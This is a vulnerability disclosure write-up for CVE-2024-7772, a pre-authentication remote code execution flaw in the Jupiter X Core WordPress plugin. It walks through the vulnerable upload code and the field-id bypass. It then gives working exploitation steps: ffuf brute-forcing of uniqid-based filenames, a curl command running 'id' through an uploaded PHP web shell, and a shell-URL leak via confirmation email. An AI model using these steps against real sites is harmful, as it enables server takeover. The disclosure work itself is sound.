Jupiter X Core Plugin <= 4.6.5 Remote Code Execution (CVE-2024-7772)

Thu 26 September 2024 by Geo in Exploit.

Abstract

During a security assessment of a Wordpress website, the jupiterx-core plugin was identified. At the time of this writing, this plugin has 178k downloads on ThemeForest and is the 8th best sold item on this marketplace. The latest version was running on our target, so we decided to dig a little deeper into this plugin.

Result

A pre-auth remote code execution vulnerability was found. It only requires a form with a file upload feature on the target. You can identify such a vulnerable form by checking the type and name attributes of the form field:

<input ... type="file" name="fields[...]" class="raven-field" ...>

Analysis

When a form with a file upload feature is created with Jupiter X, it is submitted to wp-admin/admin-ajax.php with the action parameter dynamically set to raven_form_frontend. The generated HTML form looks like this:

<form class="raven-form raven-flex raven-flex-wrap raven-flex-bottom raven-hide-required-mark" method="post" name="Contact form">
    <input type="hidden" name="post_id" value="12" />
    <input type="hidden" name="form_id" value="efe4adb" />
    <input type="text" name="fields[7392602]" class="raven-field" ...>
    <input type="email" name="fields[f27c46d]" class="raven-field" ...>
    <textarea type="textarea" name="fields[6a389bd]" class="raven-field" ... ></textarea>
    <input type="file" name="fields[475fb85]" class="raven-field" ...>
    <button class="raven-submit-button" type="submit">
</form>

This form will be handled by the plugin within the Ajax_Handler::handle_frontend method:

<?php

namespace JupiterX_Core\Raven\Modules\Forms\Classes;

class Ajax_Handler {
...
    public function __construct() {
        add_action( 'wp_ajax_raven_form_frontend', [ $this, 'handle_frontend' ] );
        add_action( 'wp_ajax_nopriv_raven_form_frontend', [ $this, 'handle_frontend' ] );
        add_action( 'wp_ajax_raven_form_editor', [ $this, 'handle_editor' ] );
    }

    public function handle_frontend() {
        $post_id      = filter_input( INPUT_POST, 'post_id' );
        $form_id      = filter_input( INPUT_POST, 'form_id' );
        $this->record = $_POST; // @codingStandardsIgnoreLine

        // Convert array data to string. Used for checkbox.
        foreach ( $this->record['fields'] as $_id => $field ) {
            if ( is_array( $field ) ) {
                $this->record['fields'][ $_id ] = implode( ', ', $field );
            }
        }

        $form_meta              = Elementor::$instance->documents->get( $post_id )->get_elements_data();
        $this->form             = Module::find_element_recursive( $form_meta, $form_id );
        $this->form['settings'] = Elementor::$instance->elements_manager->create_element_instance( $this->form )->get_settings_for_display();

        $this
            ->clear_step_fields()
            ->set_custom_messages()
            ->validate_form()
            ->validate_fields()
            ->upload_files()
            ->run_actions()
            ->send_response();
    }

In the previous code, the current form settings are retrieved by calling the Elementor get_settings_for_display method. These settings depend on how the form was configured by the administrator. They are retrieved from the form_id HTTP parameter. The $this->form['settings']['fields'] array looks like this for this form:

[
    {"label":"Name","_id":"7392602","type":"text","required":"",...},
    {"label":"Email","_id":"f27c46d","type":"email","required":"true",...},
    {"label":"Message","_id":"6a389bd","type":"textarea","required":"",...},
    {"label":"File","_id":"475fb85","type":"file","required":"",...}
]

Each of these configured fields are validated by the Ajax_Handler::validate_fields method. The validate_required and validate methods of each associated class are called:

<?php

    private function validate_fields() {
        $form_fields = $this->form['settings']['fields'];

        foreach ( $form_fields as $field ) {
            if (
                ( isset( $field['_enable'] ) && 'false' === $field['_enable'] ) &&
                empty( $field['enable'] )
            ) {
                continue;
            }

            $field['type'] = empty( $field['type'] ) ? 'text' : $field['type'];
            $class_name    = 'JupiterX_Core\Raven\Modules\Forms\Fields\\' . ucfirst( $field['type'] );

            $class_name::validate_required( $this, $field );
            $class_name::validate( $this, $field );
        }

        if ( ! empty( $this->response['errors'] ) ) {
            $this->send_response();
        }

        return $this;
    }

Because there is a file type field configured for this form, the File::validate_required method is called. The call to File::fix_file_indices changes the original $_FILES stucture to a new one:

<?php

namespace JupiterX_Core\Raven\Modules\Forms\Fields;

class File extends Field_Base {
...
    public static function validate_required( $ajax_handler, $field ) {
        self::fix_file_indices();

        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
        $fields = isset( $_FILES['fields'] ) ? $_FILES['fields'] : false;

        ...
    }
}

The File::validate method is then called. If the configured file type field is sent, the is_file_type_valid method checks if the file extension is allowed. However, if this field is not sent, no checks are done. For our form, this means not sending the $_FILES['fields']['475fb85'] file will not perform these checks:

<?php

    public static function validate( $ajax_handler, $field ) {

        if ( ! isset( $_FILES['fields'][ $field['_id'] ] ) ) {
            return;
        }
        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
        $fields = $_FILES['fields'];

        self::fix_file_indices();

        $record_field = $fields[ $field['_id'] ];
        ...
        foreach ( $record_field as $index => $file ) {
        ...
            // valid file type?
            if ( ! self::is_file_type_valid( $field, $file ) ) { 
                $error_message = __( 'This file type is not allowed.', 'jupiterx-core' );

                $ajax_handler
                    ->add_response( 'errors', $error_message, $field['_id'] )
                    ->set_success( false );
            }
        }
    }
    ...

    private static function is_file_type_valid( $field, $file ) {
        // File type validation
        if ( empty( $field['file_types'] ) ) {
            $field['file_types'] = 'jpg,jpeg,png,gif,pdf,doc,docx,ppt,pptx,odt,avi,ogg,m4a,mov,mp3,mp4,mpg,wav,wmv';
        }

        $file_extension  = pathinfo( $file['name'], PATHINFO_EXTENSION );
        $file_types_meta = explode( ',', $field['file_types'] );
        $file_types_meta = array_map( 'trim', $file_types_meta );
        $file_types_meta = array_map( 'strtolower', $file_types_meta );
        $file_extension  = strtolower( $file_extension );

        return ( in_array( $file_extension, $file_types_meta, true ) &&
            ! in_array( $file_extension, self::get_blacklist_file_ext(), true ) );
    }

    private static function get_blacklist_file_ext() {
        static $blacklist = false;
        if ( ! $blacklist ) {
            $blacklist = [ 'php', 'php3', 'php4', 'php5', 'php6', 'phps', 'php7', 'phtml', 'shtml', 'pht', 'swf', 'html', 'asp', 'aspx', 'cmd', 'csh', 'bat', 'htm', 'hta', 'jar', 'exe', 'com', 'js', 'lnk', 'htaccess', 'htpasswd', 'phtml', 'ps1', 'ps2', 'py', 'rb', 'tmp', 'cgi' ];

            $blacklist = apply_filters( 'elementor_pro/forms/filetypes/blacklist', $blacklist );
        }

        return $blacklist;
    }

Back to Ajax_Handler::handle_frontend, now that validate_fields was executed, the upload_files method is called. The first part checks if all the $_FILES['fields'] files sent within the HTTP request are expected by the current form. This is done to prevent an attacker from sending extra files that were not checked by File::validate before. The plugin compares each file id in $_FILES['fields'] with the ids inside $valid_fields:

<?php

    public function upload_files() {
        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
        $fields = isset( $_FILES['fields'] ) ? $_FILES['fields'] : false;

        if ( ! $fields ) {
            return $this;
        }

        $valid_fields = [];

        foreach ( $this->form['settings']['fields'] as $form_fields ) {
            $valid_fields[ $form_fields['_id'] ] = $form_fields['type'];
        }
        foreach ( $fields as $id => $field ) {
            if ( empty( $field ) ) {
                continue;
            }

            foreach ( $field as $index => $file ) {
                if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
                    continue;
                }

                if ( ! isset( $valid_fields[ $id ] ) ) {
                    $this
                        ->add_response( 'errors', esc_html__( 'There was an error while trying to upload your file.', 'jupiterx-core' ) )
                        ->set_success( false );
                    return $this;
                }

Vulnerability

The problem is that the $valid_fields array contains all the fields expected and configured for the current form, not only the file type fields:

{"7392602":"text","f27c46d":"email","6a389bd":"textarea","475fb85":"file"}

This means it is possible to bypass this check by simply sending a file with the id of another expected text or textarea field for example. These field types do not have a validate_required and validate methods implemented so there is no restriction on their values. If the file type field is required by the form, we can just send the original one with a legit file, which will get validated, and add an extra malicious file within the request with the id of another field.

Once the file is uploaded, it is stored in wp-content/uploads/jupiterx/forms/. The filename is generated using the uniqid PHP function and the original file extension. The wp_unique_filename function does not change the filename if it does not exist in the target directory:

<?php

    public function upload_files() {
                ...
                $uploads_dir    = $this->get_ensure_upload_dir();
                $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
                $filename       = uniqid() . '.' . $file_extension;
                $filename       = wp_unique_filename( $uploads_dir, $filename );
                $new_file       = trailingslashit( $uploads_dir ) . $filename;
                ...
                $move_new_file = @move_uploaded_file( $file['tmp_name'], $new_file ); 

Exploitation

By changing the file HTTP parameter from fields[475fb85] to fields[7392602] in our form, we can bypass all the checks and upload the file successfully:

Now that the file is uploaded, we have to find it. The uniqid PHP function is not random. It is based on the current time with microsecond precision. If you know the exact server date, there are only one million possibilities to bruteforce:

$ php -r 'print(dechex(time()) ."\n"); for($i=0;$i<10;$i++) {print(uniqid()."\n");}'
66ad2345
66ad23454c9a2
66ad23454c9a6
66ad23454c9a7
66ad23454c9a9
66ad23454c9aa
66ad23454c9ab
66ad23454c9ad
66ad23454c9ae
66ad23454c9af
66ad23454c9b1

By using the Date header from the HTTP response obtained after uploading a file, the start of uniqid can be guessed using our script jupiterxhelper.py. The ffuf tool can then be used to bruteforce the URL with all possibilities:

$ ./jupiterxhelper.py --server-date "Sun, 04 Aug 2024 13:10:06 GMT" --wp-url "https://192.168.1.32/wordpress"
generating the file milliseconds.txt..
http response date is Sun, 04 Aug 2024 13:10:06 GMT
response date with delta=0 2024-08-04 13:10:06+00:00 [66af7dae]
response date with delta=-1 2024-08-04 13:10:05+00:00 [66af7dad]
response date with delta=1 2024-08-04 13:10:07+00:00 [66af7daf]

execute by priority:
URL=https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms
ffuf -u $URL/66af7daeFUZZ.php -w milliseconds.txt -o result_66af7dae -ignore-body
ffuf -u $URL/66af7dadFUZZ.php -w milliseconds.txt -o result_66af7dad -ignore-body
ffuf -u $URL/66af7dafFUZZ.php -w milliseconds.txt -o result_66af7daf -ignore-body

After a while, the file is found:

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms/66af7daeFUZZ.php
 :: Wordlist         : FUZZ: ./milliseconds.txt
 :: Output file      : result_66af7dae
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

ba6e2                   [Status: 500, Size: 0, Words: 0, Lines: 0, Duration: 0ms]

Code execution is obtained:

$ curl -d"cmd=id" -k https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms/66af7daeba6e2.php

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Optimization

This bruteforce attack can be optimized by using threads during the upload and also by sending multiple files within the same request using all other text and textarea expected field ids. Just from a few tests, this reduced the possibilities to around 600k requests.

Email confirmation

After executing Ajax_Handler::upload_files, the actions configured for the form are called within the run_actions method. By default, there is no action. However, if this is a contact form with a file attachment option for example, it is quite common that an email is sent to the administrators. To do so, an Email action is configured:

Email action from the administration panel

If the form is configured with the Confirmation option enabled, the plugin sends a copy of the email to the one who submits the form. The value of the email field type is retrieved with $ajax_handler->record['fields'][$email['_id']]:

<?php

namespace JupiterX_Core\Raven\Modules\Forms\Actions;

class Email extends Action_Base {
    ...
    public static function run( $ajax_handler ) {
        $form_settings = $ajax_handler->form['settings'];
        ...
        wp_mail( $email_to, $email_subject, $body, $headers );

        if ( 'yes' === $confirmation ) {
            self::send_confirmation_email( $ajax_handler, $email_name, $email_from, $body, $content_type );
        }

        $ajax_handler->add_response( 'success', 'Email sent.' );
    }

    private static function send_confirmation_email( $ajax_handler, $email_name, $email_from, $body, $content_type ) {
        $headers[] = 'Content-Type: text/' . $content_type;
        $headers[] = 'charset=UTF-8';
        $headers[] = 'From: ' . $email_name . ' <' . $email_from . '>';

        // Email field.
        $email = array_filter( $ajax_handler->form['settings']['fields'], function( $field ) {
            return 'email' === $field['type'];
        } );

        // First email field.
        $email = reset( $email );

        // Email address.
        $email_to = $ajax_handler->record['fields'][ $email['_id'] ];

        wp_mail( $email_to, esc_html__( 'We received your email', 'jupiterx-core' ), $body, $headers );
    }

The attacker receives a copy of the email which reveals the URL of the uploaded file. In this case, there is no need to launch a bruteforce attack anymore. Code execution is obtained instantly:

From: website <email@192.168.1.32>
Content-Type: text/html; charset="UTF-8"
To: attacker@gmail.com
Subject: We received your email

Name: https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms/66af7daeba6e2.php
Email: attacker@gmail.com
Message: my message
...

Solution

Update to Jupiter X latest version.

Timeline